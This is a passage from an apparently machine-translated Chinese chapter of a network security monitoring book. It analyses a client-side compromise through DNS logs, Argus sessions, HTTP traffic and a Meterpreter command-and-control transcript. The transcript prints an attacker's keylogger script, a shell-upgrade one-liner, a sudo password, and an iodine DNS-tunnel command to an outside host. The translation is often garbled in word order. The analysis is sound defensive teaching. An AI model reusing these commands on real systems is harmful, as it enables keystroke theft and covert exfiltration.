1363447065.986807 900.000404 sovm-eth2-1 17963 19964 u89.977%
1363447065.992765 900.000316 sovm-eth1-1 0 0 0.000%
Listing 11-1: Bro capture_loss .log
u 处的倒数第二项条目令人震惊。它显示 Bro 丢失了
89.977% 的流量是在第二个嗅探传感器接口上看到的。
这可能是灾难性的!(Bro 可能因为内存不足而尝试运行失败)
跟踪在资源有限的传感器上大量的网络活动。)
当监控实时接口时,Bro 必须做出决定,选择哪些
检查哪些流量需要检查,哪些流量需要忽略,基本上是为了尽量跟上
实时数据流。运行在已保存的跟踪数据上时,Bro 有更多时间
用于处理数据包,也许提供了更深入的分析。
记住,NSM 的一个原则是使用多种工具进行
收集和分析数据,因此如果一个工具失败,其他数据源可能
仍然帮助你确定发生了什么。检查 /nsm/sensor_data/
在 NSM 平台上的 sovm-eth2/dailylogs/2013-03-16 目录中,我们找到了
163MB snort.log.1363441680 文件,包含完整的内容数据捕获。
由 Netsniff-ng 捕获的在 SO NSM 平台上的数据,在事件发生时
因为我们有原始流量的副本在磁盘上,所以我们可以运行工具
类似于 Bro 的工具。Netsniff-ng 能够保存完整的跟踪数据,因为它
只是直接将数据包记录到磁盘;它并没有进行任何检查或分析—
sis,正如 Bro 尝试做的那样。为了确定 Bro 可能遗漏了什么,我们可以
重新运行 Bro 以处理存储在传感器上的完整内容数据。结果显示在
列表 11-2 中。
$ bro -r snort.log.1363441680
$ ls -al
总计 203008
drwxrwxr-x 3 sovm sovm 4096 Mar 16 15:54 .
drwxr-xr-x 30 sovm sovm 4096 Mar 16 15:53 ..
-rw-rw-r-- 1 sovm sovm 59960 Mar 16 15:54 conn.log
-rw-rw-r-- 1 sovm sovm 44624347 Mar 16 15:54 dns.logu
-rw-rw-r-- 1 sovm sovm 1328 Mar 16 15:54 http.log
-rw-rw-r-- 1 sovm sovm 1446 Mar 16 15:54 notice.log
-rw-rw-r-- 1 sovm sovm 1128 Mar 16 15:54 notice_policy.log
-rw-rw-r-- 1 sovm sovm 251 3 月 16 日 15:54 packet_filter.log
-rw-r--r-- 1 sovm sovm 163155548 3 月 16 日 15:53 snort.log.1363441680
-rw-rw-r-- 1 sovm sovm 1066 3 月 16 日 15:54 ssh.log
drwx------ 3 sovm sovm 4096 3 月 16 日 15:54 .state
-rw-rw-r-- 1 sovm sovm 1668 3 月 16 日 15:54 weird.log
清单 11-2:对完整内容数据运行 Bro 手动查询
dns.log 文件的巨大大小立即引起了我们的注意。
一个 163MB 的数据包跟踪怎么会有 44MB 的 DNS 日志?
244 第十一章
分析 bro dns.log 文件
我们决定手动浏览新的 dns.log 文件,看看它揭示了什么。
注: 2013 年初,ELSA 作者 Martin Holste 添加了一个 import.pl 脚本 (https://
code.google.com/p/enterprise-log-search-and-archive/source/browse/
trunk/elsa/node/import.pl/) 到 ELSA 以启用手动日志添加功能。
例如,我们将结合早期的 ELSA 查询方法与手动日志
回顾,展示分析师如何结合使用这两种技术。
我们看到许多正常条目,然后有一些看起来很奇怪的条目。清单 11-3
显示了几个示例 DNS 日志条目。
1363444304.701350 fOBMXgho3v5 10.0.0.99 40912 198.51.100.3 53 udp 10453 daisy.ubuntu.comu 1 C_INTERNET 1 Ay 0 NOERROR F
F T T 0 91.189.95.54,91.189.95.55{ 5.000000,5.000000
1363444390.148462 Vr7iTah4er6 10.0.0.99| 58566 203.0.113.8} 53 udp 470 labhl2pekjmnzoaoteostk4ms4xfhzma.practicalnsm.comv 1 C_INTERNET 10
NULLz - - F F T
F 0 - -
1363444390.147170 Vr7iTah4er6 10.0.0.99| 58566 203.0.113.8} 53 udp 58279 vaaaakat2v2.practicalnsm.comw 1 C_INTERNET 10 NULLz - -
F F T F 0 -
1363444390.092180 Vr7iTah4er6 10.0.0.99| 58566 203.0.113.8} 53 udp 50552 yrb5fo.practicalnsm.comx 1 C_INTERNET 10 NULLz - - F
F T F 0 - -
清单 11-3:Bro dns.log 文件中的正常和可疑条目
第一个记录是 daisy.ubuntu.com u,看起来像是一个常规的 DNS 查询;
有人想知道该网站的 IP 地址。但是接下来的两条记录
看起来很奇怪。为什么有人查询 labhl2pekjmnzoaoteostk4ms4xfhzma
.practicalnsm.com v,vaaaakat2v2.practicalnsm.com w,以及 yrb5fo.practicalnsm
.com x?此外,与第一次查询 A 记录 y 不同,这些是 NULL 查询-
查询 z,是没有实际意义的 A 记录查询。A 记录查询返回
与域名相关的 IP 地址。Bro 记录了对
单个 DNS 日志中的 A 记录查询 {。
还请注意这些查询的源 IP 和目标 IP 地址:
10.0.0.99 | 和 203.0.113.8 }。源 IP 地址 10.0.0.99 是系统-
系统通过 SSH 与 172.16.0.37 连接了三次。目标 IP 地址
地址与 203.0.113.15 相同的网络块,共享了一个主机计算机
恶意 Java 有效载荷。这里发生了一些奇怪的事情。然后我们注意到
其他也涉及 10.0.0.99 和 203.0.113.8 的奇怪条目,如下所示
清单 11-4。这些也是 NULL DNS 记录。
客户端侧妥协 245
1363445036.498672 FVaYW5ltbNh 10.0.0.99 34482 203.0.113.8 53 udp 49394 0euase6eq\xc5v\xc1\xbfp2\xc5h\xdd\xd0kmv\xedt\xc2\xc7\xf8\xea2p\xdc\xe0\xcd\xef\xfd\ xc5t\xed8t\xc4yj\xd1\xdf9qn\xf8\xcf0\xd8\xd480\xe7\xc5\xda\xf97\xe5k.\xebb6\xd3gj\xc76\xdb\xe9\ xdbn\xce\xf1lv\xeb\xbdo\xdayn5gko\xc3tny9\xbf\xe5\xee\xce\xd3\xfb\xee\xc2bd\xd9zj\xbe\xe2z\ xf37\xbe\xcf\xbeh\xfd\xea\xfbe.\xecch\xd4k\xc2cgjqq\xf2\xe5\xd1mj\xcck6mg\xf5z\xc5\xe7sc\xeb\ xea\xfbsc\xe4\xeb\xf9\xe7xq\xd57\xd9t\xe3\xe3\xef\xc0m\xd7fh\xeav\xcc8dgs.r\xfd\xe9\xf8\xca\ xd3\xe9\xc4\xd4u\xect8z\xcc\xf2w\xecyy\xc3\xf7n5bq\xf9\xe1v\xc1e\xcdo\xc8z\xf53\xcecgpwy\xd7\ xfdr\xe5\xfae9iy\xe9\xebz7.practicalnsm.com 1
C_INTERNET 10 NULLu - - F F T F 0
1363444959.826628 FVaYW5ltbNh 10.0.0.99 34482 203.0.113.8 53 udp 53252 0iiafy\xf7\xdf\xdbw\xfa\xe3\xe1w\xe7u5\xd5auz\xbf\xe3\xd6\xe6\xd0\xf4u\xc0a\xe4\ xc3l\xdf\xe6\xe1\xf6\xe1\xe1\xbf\xf62c\xd6\xe6d\xe8\xcf\xe2m\xc4\xe3\xe8\xeeru\xe68\xcd\ xc8\xf4j.\xea\xf9ujb\xdau\xc0\xda\xf3\xef\xeb\xc5\xf9\xc4p\xbe\xee\xf6\xc1awd\xfc\xf2\xc5\ xd0\xfd\xf1\xc0f\xc5r\xe0\xc9\xecm\xdd\xd2\xe2l\xf0\xd8\xfc\xd8ct5\xc6\xfdt\xcce\xec\xf7z\ xea.z\xe5m\xfbr\xe9\xbe\xd2\xe7\xfd\xe3\xc6cu\xc2wtz\xeb\xe1uqk\xbf\xf2\xcb4\xe6v1w\xcei\xd8\ xca\xc8hmsg4qjzhkd\xe0u\xe4\xfa\xc7nitlk.\xbc\xeb\xdec\xe1\xc8l31yiz\xfd\xd1\xf8\xfdro\xd0\ xef3p\xccoql\xd9\xdb\xc5\xedt\xc2\xc1\xd5\xf2m\xfcq\xebm\xc2\xc8f\xf9x\xf8xikc\xc3wu\xdfcc.
practicalnsm.com 1 C_INTERNET 10 NULLu - - F F T
F 0 - -
1363445003.696798 FVaYW5ltbNh 10.0.0.99 34482 203.0.113.8 53 udp 45003 0akazvdidx3\xf1bv\xf078w\xe20\xfd\xd0i\xc1\xe7d\xe2\xc5\xcd\xe3\xda7\xe0\xf9\xbf9\ xfdk\xefrxcn\xd5\xebue\xc6\xed\xbc\xc5b\xe2\xcc\xda\xd0\xc3\xe2\xbdij8.\xdf\xf3\xfa\xefy\xfd\ xc8yhm\xbe\xf77l\xc8\xdc\xe3\xe0\xca\xdeo\xc0\xf3\xcbam\xd1\xd2\xfdt\xd1i\xd7r\xea\xcbc3\xdc\ xee\xe5\xe04o\xd9\xce\xec8n\xf99w\xd8\xfcjnw.\xf2j\xe4\xf5\xf6\xeb\xc60\xf3hv\xf9\xc38s\xef\ xd5b\xe4\xc6\xc9\xc9g\xd38\xfbhy\xf5\xccxw\xc7\xd0a2ypsz\xca\xe3\xbd\xc8\xbd\xc6cy\xd2\xce\ xbf\xe0b\xd8\xc4\xc6i.cb1\xf4fqp\xce\xd4\xebb\xe9v\xfdk\xed\xc3\xce\xcf\xe5j\xf9u\xf4uyn\ xed\xe3o\xf6l\xd7zyrp\xf2\xfd5swrz\xe8\xe6\xd5\xe2\xd3iv\xf2m\xd2\xe9\xdb.practicalnsm.com 1 C_INTERNET 10 NULLu - - F F T F 0
列表 11-4:Bro dns .log 文件中的恶意条目
看起来像是某人在主机名中传输数据。
practicalnsm.com 域名。这看起来是一种隐蔽通道的形式——
入侵者通过 DNS 记录发送内容。
我们观察到的技术在防御者严格
出站流量的访问控制。如果攻击者可以查询域名服务器,
他可以通过 DNS 查询时将数据打包在主机名中发送。
(这是一种低带宽攻击方法,因为它只使用有限的字节数
可以通过主机名传输数据。事实上,超过 65,000 条 DNS 记录
这个特定的 Bro dns.log 文件与这种活动类型相关联。)
检查目标端口
到目前为止,我们已识别出在这个特定事件中涉及的四个 IP 地址。
入侵。两者属于 Vivian’s Pets:172.16.0.37(位于无线网络中),
和 10.0.0.99(位于内部网络中)。其中两个属于入侵者,并位于
在互联网上:203.0.113.15 和 203.0.113.8。图 11-11 显示了这些 IP 地址的位置。
这些 IP 地址在网络上的位置。
246 第十一章

入侵者 1
互联网
203.0.113.15
入侵者 2
203.0.113.8
Tap
无线
网络
Tap
NSM
笔记本电脑
内部网络
172.16.0.37
网络
桌面
10.0.0.99
图 11-11:入侵的参与者
我们决定再次查看涉及 203.0.113.115 的流量,
通过查询 ELSA 的记录并按目标端口(dstport)进行分组。
结果如图 11-12 所示。
图 11-12:ELSA 显示的汇总
203.0.113.15 的目标端口条目。
客户端端点妥协 247


目标端口为 54056 的记录与
只有一种类型的消息与此活动相关。
这些活动的消息;它们都是 Snort 警报,如图 11-13 所示。
图 11-13:ELSA 显示了 Snort 签名的汇总
203.0.113.15 和目标端口 54056。
转到目标端口 4444,我们使用类似的过程进行分析。
结果。图 11-14 显示了当我们检查记录时 ELSA 返回的结果。
其中端口 4444 是目标端口,203.0.113.15 是一个 IP 地址。
图 11-14:ELSA 显示了 Snort 签名的汇总
203.0.113.15 和目标端口 4444。
重要的是要意识到,这两个目标端口实际上是
包交换的遗留物,在 203.0.113.15 的计算机之间交换。
和 172.16.0.37。可能很难识别这一点,因为 ELSA 正在汇总信息。
汇总 Snort 警报和其他格式捕获的信息。然而,
快速检查 Argus 会话数据,可以轻松理解之前提到的 Metasploit Meterpreter 活动。
重要的连接,如列表 11-5 所示。
$ racluster -n -r /nsm/sensor_data/sovm-eth1/argus/2013-03-16.log - host 203.0.113.15
StartTime Flgs Proto SrcAddr Sport Dir DstAddr Dport
TotPkts TotBytes State
14:16:48.724146 e tcp 172.16.0.37.60320 -> 203.0.113.15.8080u 19 3360 FIN
14:16:52.544555 e tcp 172.16.0.37.60321 -> 203.0.113.15.8080v 13 1790 FIN
14:16:52.735852 e tcp 172.16.0.37.60322 -> 203.0.113.15.8080w 27 16164 FIN
14:16:53.371660 e tcp 172.16.0.37.54056 -> 203.0.113.15.4444x 2802 834486 FIN
列表 11-5:涉及 203.0.113.15 的 Argus 记录
248 第十一章
该记录显示 172.16.0.37 四次连接到 203.0.113.15,如四个会话所示。前三个会话连接到端口 8080
TCP 于 u、v 和 w 处。最后一个会话连接到端口 4444 TCP x。
我们还可以通过完整的内容数据来检查这些会话,
并使用 Tshark 关注到 8080 TCP 端口的 HTTP 流量。
列表 11-6 显示了该活动。
$ tshark -t ad -n -r /nsm/sensor_data/sovm-eth1/dailylogs/2013-03-16/snort
.log.1363441666 -R 'tcp.port==8080 and http'
2910 2013-03-16 14:16:48.727696 172.16.0.37 -> 203.0.113.15 HTTP 373
GET /healthcarenews HTTP/1.1
2912 2013-03-16 14:16:48.729359 203.0.113.15 -> 172.16.0.37 HTTP 200
HTTP/1.1 302 移动
2914 2013-03-16 14:16:48.746910 172.16.0.37 -> 203.0.113.15 HTTP 374
GET /healthcarenews/ HTTP/1.1
2915 2013-03-16 14:16:48.752649 203.0.113.15 -> 172.16.0.37 HTTP 291
HTTP/1.1 200 OK (text/html)
2917 2013-03-16 14:16:48.897487 172.16.0.37 -> 203.0.113.15 HTTP 340
GET /favicon.ico HTTP/1.1
2918 2013-03-16 14:16:48.899164 203.0.113.15 -> 172.16.0.37 HTTP 335
HTTP/1.1 404 未找到文件 (text/html)
2920 2013-03-16 14:16:48.905587 172.16.0.37 -> 203.0.113.15 HTTP 370
GET /favicon.ico HTTP/1.1
2921 2013-03-16 14:16:48.908271 203.0.113.15 -> 172.16.0.37 HTTP 335
HTTP/1.1 404 未找到文件 (text/html)
2926 2013-03-16 14:16:52.560069 172.16.0.37 -> 203.0.113.15 HTTP 415
GET /healthcarenews/Exploit.jar.pack.gzu HTTP/1.1
2928 2013-03-16 14:16:52.719387 203.0.113.15 -> 172.16.0.37 HTTP 200
HTTP/1.1 302 移动
2930 2013-03-16 14:16:52.722747 172.16.0.37 -> 203.0.113.15 HTTP 274
GET /healthcarenews/ HTTP/1.1
2932 2013-03-16 14:16:52.725372 203.0.113.15 -> 172.16.0.37 HTTP 291
HTTP/1.1 200 OKx (text/html)
2939 2013-03-16 14:16:52.738151 172.16.0.37 -> 203.0.113.15 HTTP 364
GET /healthcarenews/Exploit.jarv HTTP/1.1
2945 2013-03-16 14:16:53.022853 203.0.113.15 -> 172.16.0.37 HTTP 1138
HTTP/1.1 200 OKy (application/octet-stream)
2951 2013-03-16 14:16:53.037218 172.16.0.37 -> 203.0.113.15 HTTP 406
GET /healthcarenews/Exploit.jarw HTTP/1.1
2957 2013-03-16 14:16:53.056665 203.0.113.15 -> 172.16.0.37 HTTP 1138
HTTP/1.1 200 OKz (application/octet-stream)
列表 11-6:从 172.16.0.37 到 203.0.113.15 的 HTTP 流量
列表 11-6 包含几个有问题的条目。对Exploit的请求
.jar .pack.gz 在 u 处,Exploit.jar v w 表示入侵者在受害者系统上的代码正在尝试从攻击系统获取额外的软件。该
在受害者上运行的初始代码是滩头阵地,现在它正在回拨
为增援提供根据地。对受害者来说不幸的是,那些包
可以根据订单提供并服务,如 200 OK 响应 x y z 所示。
这是另一种查看启动入侵活动的方式。然而,
我们仍然需要知道攻击成功后发生了什么。
客户端妥协 249

检查命令与控制通道
从我们之前的分析中,我们知道入侵者从受害者系统进行了横向移动
172.16.0.37 到 10.0.0.99,但我们不知道他在这两台系统上做了什么。
也许涉及端口 4444 TCP 的流量包含答案。这可能
是命令与控制通道,因为它紧接在后出现
与恶意网站的连接。
为了分析可疑的指挥与控制通道,我们生成
使用 CapMe 功能为端口 4444 流量生成转录本。点击
点击了位于端口 4444 记录旁边的信息按钮,获取完整内容数据。图 11-15 展示了如何访问 CapMe。
图 11-15:启动 CapMe 以生成端口 4444 流量的转录本
点击getPcap选项,然后点击OK,以显示新屏幕
在这里我们输入凭据以访问传感器。此外,作为这个例子的内容,我
需要将 Sid Source 条目从sancp更改为event,以帮助 CapMe 找到正确的会话。当我最初运行这个查询时,CapMe 没有找到
会话的 Sid Source 为 sancp。会话记录可能
尚未加载,因此我使用事件表查找感兴趣的数据。这
该方法仅在有事件(由 Snort 或 Suricata 触发)时有效,
例如)与流量相关的。使用 sancp 表更安全
只要记录已经加载。你可能需要等待几分钟
需要等待几分钟以加载记录。图 11-16 展示了 CapMe 数据请求
界面。
在本节中,我们将检查结果转录本。它大小为 642KB,
相当大,手动检查其中感兴趣的条目非常繁琐,
但这样做是我们确定受害者每个时刻发生了什么的最佳方法
系统。我们将查看转录本中的摘录以及正在发生的事情
在每个环节。
250 第十一章

图 11-16:配置 CapMe 以检索转录本
端口 4444 流量
初始访问
转录本以 Sguil 创建的标准头开始(如图所示)
负责 CapMe 转录本创建的(在后台),如图所示
列表 11-7。指挥与控制通道不是基于明文的
交换,如前面例子中所示,因此要准备好处理大量多余的
字符!
传感器名称:sovm-eth1-1
时间戳:2013-03-16 14:17:57
连接 ID:.sovm-eth1-1_210
源 IP:172.16.0.37(未知)
目标 IP:203.0.113.15(未知)
源端口:54056
目标端口:4444
操作系统指纹:172.16.0.37:54056 - 未知 [S10:64:1:60:M1460,S,T,N,W6:.:?:?](运行:4 小时) 操作系统指纹:-> 203.0.113.15:4444(链接:以太网/调制解调器)
DST: ...........-.
DST: .........start..E(Ljava/io/DataInputStream;Ljava/io/OutputStream;[Ljava/lang/String;)V..
列表 11-7:Sguil 创建的标准转录本头
接下来,出现了 meterpreter 术语,如列表 11-8 所示。我们已经
在 Snort 警报中看到了这个,但是这里出现该术语表示我们正在
处理 Metasploit 框架中的 Meterpreter 组件。
客户端妥协 251
DST: java/util/Map.......7com/metasploit/meterpreter/MemoryBufferURLStreamHandler.............
getFiles...java/lang/Class........java/lang/Object.....
列表 11-8:meterpreter 参考
如列表 11-9 所示,接下来我们看到术语 sysinfo,后面跟着
可能是一个主机名,wirubu32,以及一个 Linux 内核版本,Linux
3.5.0-25-generic (i386)。受害者系统似乎是 Linux i386
平台。
SRC: .........."....stdapi_sys_config_sysinfo....)....53495413969516947426070095319226.........
wirubu32....&.... Linux 3.5.0-25-generic (i386).............
DST:
列表 11-9:系统信息
接下来,我们看到术语 desktop_screenshot,如列表 11-10 所示,
这无疑是可疑的。这可能是一个获取命令
受害者桌面的屏幕截图。
..Ji.......%....stdapi_ui_desktop_screenshot....)....53921668623768997177532920965755..........
..2..I. .....j.x...}|T..0|&s..0..t.AS.u..F..I'..2.Q&..k&...4M)R.AZ'.....v.i.Gm...../
[...V..@...@.Q...WO..X.......g...{.{..{.ym..g.}.^{.
列表 11-10:获取屏幕截图的 desktop_screenshot 命令
该 desktop_screenshot 命令的第二次出现后
由 JFIF 字符串组成,如列表 11-11 所示。这可能是其头部
一个 JPEG 文件交换格式(JFIF)文件。
SRC: ..........%....stdapi_ui_desktop_screenshot....)....53921668623768997177532920965755..
..w.......... JFIF.............C......
列表 11-11:JFIF 参考
列表 11-12 中的摘录显示了 net_config_get_interfaces 和
net_config_get_routes 函数。入侵者可能正在列出网络
在受害者系统上列出接口和路由,查看他的位置
网络。
DST: ...Z.......)....stdapi_net_config_get_interfaces....)....90005067652712330016895656875088.
SRC: .
SRC: ..j.......)....stdapi_net_config_get_interfaces....)....90005067652712330016895656875088..
...............@..........|...........z....................eth0 -
eth0...................)..8.............@.......................%...........
.....@..........|...........z..@4................lo - lo.......................................
..................................
DST: ...V.......%....stdapi_net_config_get_routes....)....34295947967733618834188710122897.
252 第十一章
SRC: .
SRC: ..Z.......%....stdapi_net_config_get_routes....)....34295947967733618834188710122897.....
...........P@.....................)..8.....................................................,@
..............
列表 11-12:net_config_get_interfaces 和 net_config_get_routes 函数
列表 11-13 中的 getwd 命令可能是获取工作
目录,后面提到 /home/ubu32 目录。
%...........................P@......
........................................................................,@.....................
..................
DST: ...I............stdapi_fs_getwd....)....55282344159994215019998291531526.
SRC: .
SRC: ..i............stdapi_fs_getwd....)....55282344159994215019998291531526......... /home/
ubu32.............
列表 11-13:getwd 命令和 /home/ubu32 引用
列表 11-14 显示了到目前为止最有趣的条目。字符串 keylog
.sh 表示涉及键盘记录器。如果入侵者能够捕获按键
在受害者的计算机上,他可以访问各种信息,并可能获取其他
系统。脚本的名称后面似乎是脚本本身,如
以及用于保存记录的按键日志的文件名:/tmp/.xkey.log。
有了这些信息,我们可以在受害者硬盘上查找该文件,
假设入侵者没有删除它,或者系统没有在之后删除它
重启。
DST: ................core_channel_open....)....64467327797845790259721795802753........3std api_fs_file........6........................ keylog.sh.........wbb.
SRC: .
SRC: ..c............core_channel_open....)....64467327797845790259721795802753........2.......
.........
DST: ................core_channel_write....)....05544054210663822153934887650143........2.....
..X...4#!/bin/bash
DST: export DISPLAY=:0.0
DST: xinput list
DST: echo -e "KBD ID ?"
DST: 读取 kbd
DST: xmodmap -pke > /tmp/.xkey.log
DST: script -c "xinput test $kbd" | cat >> /tmp/.xkey.log & DST: echo "键盘记录日志可以从 /tmp/.xkey.log 下载"
DST: echo "使用 meterpreter 下载功能"
DST: echo "按 CTLR+C 退出此会话,键盘记录器将在后台运行"
列表 11-14:键盘记录器引用
入侵者似乎接下来执行了一个 ls -al 命令。(列表 11-15
仅显示输出的一部分,尽管整个内容都在记录中。)
客户端妥协 253
DST: ...s............core_channel_write....)....27069574503151630704223424155348........2......
.....4ls -al
DST: ............
SRC: .
SRC: ..d............core_channel_write....)....27069574503151630704223424155348...............
..........
SRC: .
SRC: ..............2.......W...4total 164
SRC: drwxr-xr-x 24 ubu32 ubu32 4096 3 月 16 日 10:22 .
SRC: drwxr-xr-x 3 root root 4096 3 月 8 日 21:00 ..
SRC: -rw------- 1 ubu32 ubu32 4447 3 月 16 日 08:17 .bash_history
SRC: -rw-r--r-- 1 ubu32 ubu32 220 3 月 8 日 21:00 .bash_logout
SRC: -rw-r--r-- 1 ubu32 ubu32 3486 3 月 8 日 21:00 .bashrc
SRC: drwx------ 15 ubu32 ubu32 4096 3 月 16 日 06:29 .cache
SRC: drwxrwxr-x 3 ubu32 ubu32 4096 3 月 15 日 08:52 .compiz-1
SRC: drwx------ 11 ubu32 ubu32 4096 3 月 16 日 09:34 .config
SRC: drwx------ 3 ubu32 ubu32 4096 3 月 8 日 21:34 .dbus
SRC: drwxr-xr-x 2 ubu32 ubu32 4096 3 月 8 日 21:34 Desktop
SRC: -rw-r--r-- 1 ubu32 ubu32 26 3 月 16 日 09:08 .dmrc
SRC: drwxr-xr-x 2 ubu32 ubu32 4096 3 月 8 日 21:34 Documents
列表 11-15:ls -al 命令
下一个命令,mv keylog.sh .pulse,显示了入侵者将他的
键盘记录器脚本被移动到 .pulse 目录,如列表 11-16 所示。接下来,他将用户权限更改为 rwx,表示读写执行权限。
DST: ................core_channel_write....)....64553530986314682019983298603129........2......
.....4mv keylog.sh .pulse
DST: ................core_channel_write....)....60405588103478885840826252268236........2......
.....4chmod u=rwx keylog.sh
DST: ............
SRC: .
SRC: ..d............core_channel_write....)....60405588103478885840826252268236...............
..........
列表 11-16: mv keylog.sh .pulse 命令和 rxw 权限*
在这里,入侵者似乎执行了他的 keylog.sh 脚本。 (输出来自
在 11-17 列表中的脚本后续内容。) 这个脚本给了入侵者一个机会
选择键盘进行监控,并提醒他查看 /tmp/.xkey.log
结果目录。
DST: ...x............core_channel_write....)....75957044127671614064150081298305........2......
.....4. /keylog.sh
DST: ............
SRC: .
SRC: ..d............core_channel_write....)....75957044127671614064150081298305...............
..........
SRC: .
SRC: ..............2...........4... Virtual core pointer .id=2.[master pointer (3)]
254 第十一章
SRC: ... ... Virtual core XTEST pointer .id=4.[slave pointer (2)]
SRC: ... ... VMware VMware Virtual USB Mouse .id=7.[slave pointer (2)]
SRC: ... ... VMware VMware Virtual USB Mouse .id=8.[slave pointer (2)]
SRC: ... ... ImPS/2 Generic Wheel Mouse .id=10.[slave pointer (2)]
SRC: ... Virtual core keyboard .id=3.[master keyboard (2)]
SRC: ... Virtual core XTEST keyboard .id=5.[slave keyboard (3)]
SRC: ... Power Button .id=6.[slave keyboard (3)]
SRC: ... AT Translated Set 2 keyboard .id=9.[slave keyboard (3)]
SRC: ....................core_channel_write....)....SRREVPPXSOANPPYWFQHSVCNMFFBJBMMJ....u......
.....2...........4KBD ID ?
SRC: ....................core_channel_write....)....NBVSIORNAUEQNTEQFFFCJMHXSAEMNQNA.
DST: ...n............core_channel_write....)....45042497071271683260243072775318........2.....
..
DST: ...49
DST: ............
SRC: .
SRC: ..d............core_channel_write....)....45042497071271683260243072775318...............
..........
SRC: .
SRC: ..............2...........4键盘记录可以从 /tmp/.xkey.log 下载
SRC: 使用 meterpreter 下载功能
SRC: 按 CTLR+C 退出此会话,键盘记录器将在后台运行
列表 11-17: keylog .sh 脚本和提醒
接下来,我们看到证据表明入侵者将名为
iodine_0.6.0~rc1-7_i386.deb 从 203.0.113.15 传输到 172.16.0.37,如下所示
列表 11-18。这似乎是 Iodine 隐蔽工具的 Debian 包
DNS 隧道工具。入侵者肯定使用了这个工具来创建成百上千个
前面讨论过的成千上万条异常的 DNS 条目。
DST: ................core_channel_open....)....32392496134731212115385138997235........3std api_fs_file........6...................$.... iodine_0.6.0~rc1-7_i386.deb.........wbb.
列表 11-18: iodine_0 .6 .0~rc1-7_i386 .deb 参考
改进 Shell
下一条命令很有趣,如列表 11-19 所示。通过运行
python -c 'import pty;pty.spawn("/bin/bash")',入侵者通过使用 Python 启动 Bash shell 改进了他在受害者系统上使用的 shell。
为了启动 Bash shell,他创建了一个可以提示用户并接受
回复。(当入侵者使用 Meterpreter 打开 shell 时,他可能没有
使得他可以在被提示时输入密码。这是一个问题
当尝试运行 sudo 或回答任何其他提示用户的命令时。)
DST: ................core_channel_write....)....07078092619529470178701062926304........2......
.6...4python -c 'import pty;pty.spawn("/bin/bash")'
清单 11-19:Bash shell 启动
客户端妥协 255
继续查看转录内容可以揭示 Bash shell 的原因。
如清单 11-20 所示,入侵者使用 scp 通过 SSH 传输
iodine_0.6.0~rc1-7_i386.deb 软件包从 172.16.0.37 传输到 10.0.0.99,用户为 ubu32\。
入侵者是如何获取登录 10.0.0.99 的密码的?他是否进行了暴力破解?
他很可能通过键盘记录器捕获了它。
DST: ................core_channel_write....)....28332839019310295629231957979483........2......
.=...4scp iodine_0.6.0~rc1-7_i386.deb ubu32@10.0.0.99:/tmp
清单 11-20: iodine_0.6.0~rc1-7_i386.deb 软件包的传输
总结阶段 1
此时,入侵者已经采取了几个步骤,涉及一个受害者的系统-
系统,如图 11-17 所总结。他诱使用户点击一个恶意
Twitter 上发布的链接指向一个涉及 203.0.113.15 的 URL,
受害者 172.16.0.37 访问了入侵者系统上的 Web 服务器。
那个恶意 Web 服务器提供的代码利用了一个易受攻击的 Java
在 172.16.0.37 上的实例。通过 Java 漏洞传送的有效负载导致
受害者再次连接 203.0.113.15 以获取更多攻击软件-
从入侵者处获取恶意软件。
1. 受害者点击了 Twitter 上的恶意链接。
社交媒体或其他通讯工具
受害者
172.16.0.37
2. 受害者的 Web 浏览器连接到
203.0.113.15:8080/healthcarenews.
网络连接
入侵者 1
受害者
203.0.113.15
172.16.0.37
3. 攻击方法利用了易受攻击的 Java
被利用
软件通过受害者系统执行代码。
4. 恶意代码导致受害者回溯到入侵者处
这样入侵者就能获取更多恶意软件。
网络连接
入侵者 1
受害者
203.0.113.15
172.16.0.37
图 11-17:客户端妥协阶段 1 的总结
256 第十一章
转向第二个受害者
接下来,如清单 11-21 所示,入侵者似乎正在连接
从第一个受害者 172.16.0.37 通过 SSH 以 ubu32 用户身份传输到第二个受害者,
10.0.0.99. 接着在 10.0.0.99 上显示登录提示,另一个 Linux
运行相同内核的系统。它将自己标识为 Ubuntu 系统
12.0.4.2 LTS 版本。
DST: ................core_channel_write....)....21495256091063571385331835436694........2......
.....4ssh ubu32@10.0.0.99
SRC: ..U...........2...........4欢迎使用 Ubuntu 12.04.2 LTS (GNU/Linux 3.5.0-25-generic i686) SRC:
SRC: * 文档:https://help.ubuntu.com/
SRC:
SRC: 0 个软件包可以更新。
SRC: 0 个更新是安全更新。
列表 11-21: Ubuntu 连接到另一个受害者
通过运行 sudo bash,如列表 11-22 所示,攻击者提升了
他获得了 root 权限。
DST: ...v............core_channel_write....)....29459743353766825927232004106327........2......
.....4sudo bash
DST: ...........
DST:
SRC: .
SRC: ..d............core_channel_write....)....29459743353766825927232004106327............
SRC: ............
SRC: ...w...........2...........4sudo bash
SRC: ....................core_channel_write....)....UJUHVDEWIYIKWPCUMRTWODZUIDRXEMKG.
SRC: .
SRC: ..............2.......#...4[sudo] ubu32 的密码:....................core_channel_
写入....)....JTCKKYYZSXEFTWGOEWDZKWHCOLJYUWZG.
DST: ...v............core_channel_write....)....56755805437825017718244048581240........2......
.....4wonderubu
列表 11-22: 使用 sudo bash 提升权限
安装隐蔽隧道
作为 root,攻击者现在通过 dpkg 安装 Iodine DNS 隐蔽隧道工具,
dpkg -i iodine_0.6.0~rc1-7_i386.deb,如列表 11-23 所示\。
DST: ................core_channel_write....)....64642638366982677090891088802167........2......
.,...4dpkg -i iodine_0.6.0~rc1-7_i386.deb
列表 11-23: 安装 Iodine DNS 隐蔽隧道工具
客户端侧妥协 257
接下来,我们看到攻击者使用命令 iodine -r 203.0.113.8 practicalnsm.com 启动 Iodine 工具,如列表 11-24 所示。他正在启动 Iodine 客户端,并将其指向位于 203.0.113.8 的服务器,通过 DNS 流量
使用 practicalnsm.com 域名。(我想知道是谁造成了这次入侵?)
因为攻击者以这种方式启动 Iodine,所以看起来像是受害者,
10.0.0.99 将直接与位于 203.0.113.8 的 Iodine 服务器进行通信\。
(在运行 Iodine 时,不需要与 DNS 服务器进行通信,
以这种方式运行,但隐蔽流量仍然会表现为 DNS。)
DST: ................core_channel_write....)....54112282595894012391779534721588........2......
./...4iodine -r 203.0.113.8 practicalnsm.com
列表 11-24: 启动 Iodine 工具
列表 11-25 很可能显示了从 Iodine 服务器收到的输出。我们
可以看到服务器 IP 地址是 10.10.0.1,这告诉我们存在一个 VPN
可以看到,10.0.0.99 和 203.0.113.8 之间建立了一条通道。现在,这两台计算机
可以通过 IP 地址(如 10.10.0.1)彼此通信。
服务器权限,而不是 203.0.113.8. (Iodine 工具封装了攻击者的
DNS 流量中的通信。)
SRC: ....................core_channel_write....)....
